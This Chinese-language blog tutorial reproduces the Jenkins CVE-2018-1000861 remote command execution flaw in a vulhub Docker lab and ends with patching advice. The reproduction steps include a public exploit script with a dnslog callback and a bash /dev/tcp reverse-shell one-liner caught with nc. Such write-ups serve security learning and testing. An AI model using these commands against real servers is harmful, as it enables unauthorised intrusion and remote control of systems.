溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Jenkins遠程命令執(zhí)行漏洞的示例分析

發(fā)布時間:2021-12-22 16:34:50 來源:億速云 閱讀:285 作者:小新 欄目:安全技術(shù)

這篇文章給大家分享的是有關(guān)Jenkins遠程命令執(zhí)行漏洞的示例分析的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

0x00簡介

Jenkins自動化部署可以解決集成、測試、部署等重復(fù)性的工作,工具集成的效率明顯高于人工操作;并且持續(xù)集成可以更早的獲取代碼變更的信息,從而更早的進入測試階段,更早的發(fā)現(xiàn)問題,這樣解決問題的成本就會顯著下降:持續(xù)集成縮短了從開發(fā)、集成、測試、部署各個環(huán)節(jié)的時間,從而也就縮短了中間出現(xiàn)的等待時間;持續(xù)集成也意味著開發(fā)、集成、測試、部署得以持續(xù)。

0x01漏洞概述

Jenkins使用Stapler框架開發(fā),其允許用戶通過URL PATH來調(diào)用一次public方法。由于這個過程沒有做限制,攻擊者可以構(gòu)造一些特殊的PATH來執(zhí)行一些敏感的Java方法。通過這個漏洞,可以找到很多可供利用的利用鏈。其中最嚴(yán)重的就是繞過Groovy沙盒導(dǎo)致未授權(quán)用戶可執(zhí)行任意命令:Jenkins在沙盒中執(zhí)行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執(zhí)行任意命令。

0x02影響范圍

2.153 and earlier

LTS 2.138.3 and earlier

0x03環(huán)境搭建

1. 本次實驗靶場使用vulhub中docker搭建,vulhub下載地址:

https://github.com/vulhub/vulhub

2. 然后在虛擬機中安裝docker,以及安裝docker-compose命令,安裝方法請自行百度

3. 下載完成后傳入安裝了虛擬機,然后進入相關(guān)漏洞目錄

cd vulhub-master/jenkins/CVE-2018-1000861/

Jenkins遠程命令執(zhí)行漏洞的示例分析

4.使用docker-compose up -d運行漏洞環(huán)境

Jenkins遠程命令執(zhí)行漏洞的示例分析

5. 環(huán)境啟動后,訪問http://your-ip:8080即可看到一個已經(jīng)成功初始化的Jenkins

Jenkins遠程命令執(zhí)行漏洞的示例分析

0x04漏洞復(fù)現(xiàn)

1. 使用一下命令查看目標(biāo)的版本

curl -s -I http://your-ip:8080|grep X-Jenkins

Jenkins遠程命令執(zhí)行漏洞的示例分析

2.由于此漏洞是沒有回顯的,這里使用GitHub上漏exp執(zhí)行命令。注:也可使用burp抓包執(zhí)行

exp下載地址:https://github.com/orangetw/awesome-jenkins-rce-2019

下載完成后使用python2執(zhí)行檢查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”

Jenkins遠程命令執(zhí)行漏洞的示例分析

Jenkins遠程命令執(zhí)行漏洞的示例分析

3.由于此漏洞沒有回顯,這里直接反彈shell //注:反彈shell需要base64加密

bash -i >& /dev/tcp/your-ip/port 0>&1

base64加密網(wǎng)址:http://www.jackson-t.ca/runtime-exec-payloads.html

Jenkins遠程命令執(zhí)行漏洞的示例分析

3.1然后在nc上監(jiān)聽shell的ip和端口,使用exp發(fā)送加密后的shell

Jenkins遠程命令執(zhí)行漏洞的示例分析

Jenkins遠程命令執(zhí)行漏洞的示例分析

小結(jié)

1. 本次漏洞復(fù)現(xiàn)需要使用到docker環(huán)境,需要會用docker基本命令

2. 需要使用到linux相關(guān)的命令,以及l(fā)inux反彈shell的語法

0x05修復(fù)建議

1.升級到最新版本或打上相關(guān)補丁

2.盡量不要開放到公網(wǎng)上

3.限制IP訪問

感謝各位的閱讀!關(guān)于“Jenkins遠程命令執(zhí)行漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI